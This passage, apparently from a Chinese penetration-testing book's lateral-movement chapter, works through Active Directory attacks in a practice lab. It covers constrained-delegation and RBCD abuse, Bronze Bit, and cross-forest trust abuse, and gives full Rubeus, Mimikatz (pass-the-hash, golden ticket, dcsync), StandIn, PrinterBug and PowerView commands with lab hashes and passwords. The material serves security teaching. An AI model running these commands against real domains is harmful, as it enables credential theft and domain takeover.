图 5.35 – 枚举启用了受限委托的用户和计算机

另一种方法是使用 Impacket 中的findDelegation Python 脚本:

findDelegation.py NORTH.SEVENKINGDOMS.LOCAL/samwell.tarly:Heartsbane -target-domain north.sevenkingdoms.local

结果还将显示受限委托类型:

图 5.36 – 枚举委托类型

图 5.36 – 枚举委托类型

使用协议转换的受限委托可能会被滥用,通过以下命令:

Rubeus.exe s4u /msdsspn:CIFS/winterfell /impersonateuser:Administrator /domain:north.sevenkingdoms.local /user:jon.snow /rc4:B8D76E56E9DAC90539AFF05E3CCB1755 /altservice:HTTP /ptt
winrs -r:winterfell cmd.exe

结果可以在以下截图中看到:

图 5.37 – 协议转换滥用的受限委托结果

图 5.37 – 协议转换滥用的受限委托结果

需要特别说明的是,SPN 部分在请求中未加密,这就是为什么我们可以使用 Rubeus 中的/altservice选项来获取服务票证——在我们这个例子中,是 WinRM。

注意

可用服务的详细列表可以在这里找到:book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#available-services

HTTP 服务配置时未进行协议转换,如下图所示:

图 5.38 – 配置了无协议转换的受限委托

图 5.38 – 配置了无协议转换的受限委托

在这种情况下,S4U2Self 请求不会导致可转发的票证,因此 S4U2Proxy 将无法工作。滥用无协议转换的受限委托的两种已知方法是:对服务执行 RBCD 攻击,或强制用户对服务进行身份验证以提取票证。为了滥用无协议转换的受限委托,我们将创建一个计算机账户,并将 castelblack 设置为允许从该账户进行 RBCD(我们需要 SYSTEM 权限来设置此属性)。然后,我们将以 administrator 身份委托到 castelblack,最后,我们可以在 S4U2Proxy 请求中使用这个可转发的 ST 来访问 Winterfell 服务。听起来很复杂,但我们将一步一步执行这个攻击。

在第一步中,我们将创建一个会话作为 Castelblack$,创建一个名为 Test$ 的计算机账户,检索其 安全标识符SID),并将 Castelblack$msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为 Test$。我将使用 Mimikatz、PowerView 和 StandIn:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:castelblack$ /ntlm:abd0f0459c9d6119d092d1bd87cb958b /domain:north.sevenkingdoms.local /run:cmd.exe"
StandIn.exe --computer Test --make
Get-DomainComputer -Name Test -Properties objectsid
StandIn.exe --computer castelblack --sid S-1-5-21-3600105556-770076851-109492085-1605

StandIn 命令的结果如以下截图所示:

图 5.39 – 创建计算机账户并准备 RBCD 滥用

图 5.39 – 创建计算机账户并准备 RBCD 滥用

接下来,我们将从计算机账户的密码计算出 AES256 密钥,并在 Castelblack$ 上使用 Test$ 滥用 RBCD。现在,我们拥有 Castelblack$ 的可转发 ST:

Rubeus.exe hash /domain:north.sevenkingdoms.local /user:test$ /password:yN26WROLQvUCa30
Rubeus.exe s4u /user:test$ /aes256:5D2320ABFAFEA7 A451DC0883CB120047A93E1D38B632D42ACD2997F104D6C30A /impersonateuser:administrator /msdsspn:http/castelblack.north.sevenkingdoms.local /nowrap

最后,我们将使用可转发的 ST 来访问 Winterfell 的文件系统:

Rubeus.exe s4u /user:castelblack$ /rc4:abd0f0459c9d6119d092d1bd87cb958b /msdsspn:http/winterfell.north.sevenkingdoms.local /tgs:"ticket_from_previous_step" /altservice:cifs /ptt
dir \\winterfell.north.sevenkingdoms.local\c$

攻击的结果如以下截图所示:

图 5.40 – 成功滥用无协议转换的受限委托

图 5.40 – 成功滥用无协议转换的受限委托

这些步骤也可以从 Linux 机器上执行,如实验室创建者提供的操作步骤所示[16]。

Bronze Bit 攻击,又名 CVE-2020-17049

对于某些类型的委托滥用,票证需要设置 可转发 标志。未设置该标志的原因可能是伪装的用户是 受保护用户 组的成员,或者配置了 敏感且无法委托 的标志。此外,服务可能被配置为仅支持 Kerberos 的受限委托。在 2020 年,发现了 Bronze Bit 漏洞,攻击者可以编辑票证并设置所需的 可转发 标志。

在实践中,我们可以使用 Imapacket 中 getST Python 脚本的force-forwardable标志。

注意

一个很好的实际示例,涵盖了两个最常见的场景,可以在此处找到:www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-attack/

唯一的建议是打补丁操作系统。

在域内部横向移动后,攻击者可能会进一步传播到受信任的林。下一节将介绍这种移动的可能限制并介绍可用的安全机制。

滥用信任进行横向移动

在本节中,我们将讨论滥用林信任进行横向移动的各种方法。关于如何从子域迁移到林中的父域,参见第六章**/

我们将首先介绍必要的理论,然后将其应用于实践。正如微软所述,是一个安全边界,由一个或多个共享公共架构、配置和全局目录的 AD 域组成。架构定义了林内的对象,全局目录包含林中各个域中每个对象的部分属性集。信任关系有六种类型;我们将重点关注外部类型。为了更好地理解安全边界,我们需要讨论安全标识符SID)、SID 历史属性和SID 过滤

SID 是分配给域中每个安全主体的唯一标识符。SID 过滤是过滤掉来自其他域的 SID 的机制。

注意

过滤规则可以在此处找到:learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280

简单来说,关于横向移动的可能性和 SID 过滤,有两个要点需要记住:

  • 如果完全执行 SID 过滤,则所有非受信任域的 SID 将被过滤。然而,企业域控制器 SID、受信任域对象 SID 和 NeverFilter SID 会被排除在域信任 SID 过滤之外[17]。

  • 外部信任比信任更宽松。

接下来的动态部分是SID 历史。SID 历史是用户或组的一个属性,允许在从一个域迁移到另一个域时保留旧的 SID,以便保持必要的访问权限。SID 历史值可以根据 SID 过滤行为进行过滤。林间信任有不同的身份验证级别可用:整个林整个域选择性。选择性身份验证是最严格的,因为它要求主体和对象之间有直接匹配。这是理解如何跨林迁移所需的基本理论。

作为第一步,我们将枚举实验室中的森林信任关系。然后,我们将讨论常见的攻击向量及其限制,如密码重用、外部组成员破坏、森林间无约束委派滥用以及将额外的 SID 注入 SID 历史中。

对于信任枚举,我们有许多工具可以使用,如 PowerView、BloodHound 或 Netdom 实用工具。PowerView 中有以下命令可用:

  • Get-DomainTrust

  • Get-ForestTrust

  • Get-DomainTrustMapping

第一个命令执行的结果如以下截图所示:

图 5.41 – 当前用户域的所有信任关系

图 5.41 – 当前用户域的所有信任关系

我们将开始讨论密码重用攻击的攻击选项。在真实环境中,这种攻击通常是成功的。通过从受损的森林中导出用户,查找外部森林中的相同用户账户,然后尝试对其进行密码重用攻击。

接下来,我们可以借助 PowerView 命令(Get-DomainForeignUserGet-DomainForeignGroupMember)或使用 Mayfly 在其演示中提供的 BloodHound 查询来枚举外部组和用户:

MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) where (x:Container or x:OU) and (y:Container or y:OU) and (a.name <>b.name) and (tolower(w.samaccountname) <> "enterprise admins" and tolower(w.samaccountname) <> "enterprise key admins" and tolower(z.samaccountname) <> "enterprise admins" and tolower(z.samaccountname) <> "enterprise key admins")  RETURN p

以下是具有跨域和森林访问权限的用户和组:

图 5.42 – 具有跨域和森林权限的用户和组

图 5.42 – 具有跨域和森林权限的用户和组

在我们破坏了具有 SPYS 组成员身份的用户之后,我们可以在森林之间进行横向移动,并享受我们的新权限。

另一种破坏森林信任的方法是滥用Kerberos 无约束委派KUD),在启用了 KUD 的本地机器和外部森林中的域控制器之间通过使用 PrinterBug 或 PetitPotam 强制认证。然而,只有在启用了 TGT 委派的情况下才可行,这一设置默认直到 2019 年 3 月才被禁用。在我们的案例中,我们通过 Rubeus 和 PrinterBug 帮助下复制了该攻击以强制认证:

Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1 /nowrap
spool.exe meereen.essos.local kingslanding.sevenkingdoms.local
Rubeus.exe ptt /ticket:"base64_ticket_from_capture"
Mimikatz.exe "lsadump::dcsync /all /csv /domain:essos.local"

结果,我们从 essos 森林中导出了所有哈希值:

图 5.43 – essos 森林中所有域对象的哈希值

图 5.43 – essos 森林中所有域对象的哈希值

SID 筛选可以处于三种状态:禁用放宽强制。如果 SID 筛选被禁用,攻击者将能够轻松添加 Enterprise Admins 组的 RID,从而访问目标域控制器进行 DCSync 攻击。

当 SID 筛选完全启用时,横向移动的唯一可能性是破坏具有目标森林权限的域用户,或通过利用 CVE-2020-0665 绕过 SID 筛选。

注意

利用步骤在此处有详细描述:www.thehacker.recipes/ad/movement/trusts#cve-2020-0665

如果启用了 SID 历史,则表示 SID 过滤放宽了(TREAT_AS_EXTERNAL 标志)。在这种情况下,攻击者可以通过将组的 SID 添加到 SID 历史属性中,伪造自己属于任何 RID > 1000[19] 的组。在我们的示例中,我们将借助 PowerView 枚举 essos.local 林中的组,寻找 RID > 1000 的有趣组:

Get-DomainGroup -Domain essos.local | select samaccountname, objectsid

结果,我们找到了一些有前途的候选项:

图 5.44 – essos.local 中的域组,RID > 1000

图 5.44 – essos.local 中的域组,RID > 1000

Spysjorah.mormont 用户具有 GenericAll 权限,这意味着我们可以完全控制该用户:

mimikatz.exe "kerberos::golden /user:Administrator /domain:sevenkingdoms.local /sid:S-1-5-21-4243769114-3325725031-2403382846 /sids:S-1-5-21-2801885930-3847104905-347266793-1109 /rc4:f622cc44c550868e310fbf5ded4194f3 /service:krbtgt /target:essos.local /ticket:trust.kirbi"
Rubeus.exe asktgs /ticket:trust.kirbi /service:ldap/meereen.essos.local /dc:meereen.essos.local /ptt
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity jorah.mormont -domain essos.local -AccountPassword $UserPassword -Verbose

密码已成功更改,以下截图显示了这一点:

图 5.45 – 密码更改成功

图 5.45 – 密码更改成功

使用 crackmapexec 验证新密码是否已成功设置:

图 5.46 – 使用新密码成功登录

图 5.46 – 使用新密码成功登录

为防止跨林滥用,确保严格的 SID 过滤已启用,TGT 委派和 SID 历史已禁用,并且 ACL 已正确应用于林中的对象。然而,如果攻击者能够破坏或冒充具有外部组成员资格的用户,只有选择性认证才能限制损害。

总结

本章讨论了横向渗透的主题。我们讨论了如何使用管理协议在环境中进行移动。这是一种有效的方式,可以与正常流量融合并避开监控。哈希转发的概念是一个强有力的武器,尤其是在缺乏加固的环境中。像禁用未使用的协议和服务这样的简单建议,可以显著提高安全性。需要指出的是,在复杂的环境中,即使是简单的变更也可能造成混乱和宕机,因此需要进行彻底的测试。深入探讨 Kerberos 认证、不同类型的委派以及如何滥用它们,帮助我们更详细地理解 Kerberos 协议的复杂性以及每种委派类型的安全影响。我们已经在实践中证明,对于成功的横向渗透,攻击者不一定需要受害者的密码。任何形式的凭证材料,如哈希值、票据或密钥,都可以作为替代。保持隐蔽并模拟真实的身份验证尝试需要对你的技术有深入的理解。在 第八章 中,我们将展示证书也可以用于横向渗透。最后但同样重要的是,跨林横向渗透表明,这不仅仅关乎你的安全性,还涉及到你的受托人是谁。在下一章中,我们将讨论域内特权提升的问题。

参考资料

  1. Evil-WinRM:github.com/Hackplayers/evil-winrm

  2. 在实验室设置 JEA:cheats.philkeeble.com/active-directory/ad-privilege-escalation/jea

  3. RACE 工具包:github.com/samratashok/RACE

  4. 用户权限分配:RDP - blog.cptjesus.com/posts/userrightsassignment/

  5. RestrictedAdmin:github.com/GhostPack/RestrictedAdmin

  6. SharpRDP:github.com/0xthirteen/SharpRDP

  7. SharpRDPThief:github.com/passthehashbrowns/SharpRDPThief

  8. Impacket:github.com/fortra/impacket

  9. CVE-2019-1019 漏洞分析:securityboulevard.com/2019/06/your-session-key-is-my-session-key-how-to-retrieve-the-session-key-for-any-authentication/

  10. Dementor:github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py

  11. Drop-the-MIC 扫描器:github.com/fox-it/cve-2019-1040-scanner

  12. 检查登录用户的 Kerberos 票证中的用户名:gist.github.com/JoeDibley/fd93a9c5b3d45dbd8cbfdd003ddc1bd1

  13. StandIn:github.com/FuzzySecurity/StandIn

  14. Powermad:github.com/Kevin-Robertson/Powermad

  15. 以普通用户身份利用 RBCD:www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.xhtml

  16. 从 Linux 滥用受限委托:mayfly277.github.io/posts/GOADv2-pwning-part10/#without-protocol-transition

  17. 绕过 SID 过滤:improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

  18. Windows Server 中跨入站信任的 TGT 委托更新:support.microsoft.com/en-us/topic/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server-1a6632ac-1599-0a7c-550a-a754796c291e

  19. 滥用 SID 历史: dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

进一步阅读

以下是进一步学习的资料,帮助你深入了解本章中涉及的攻击: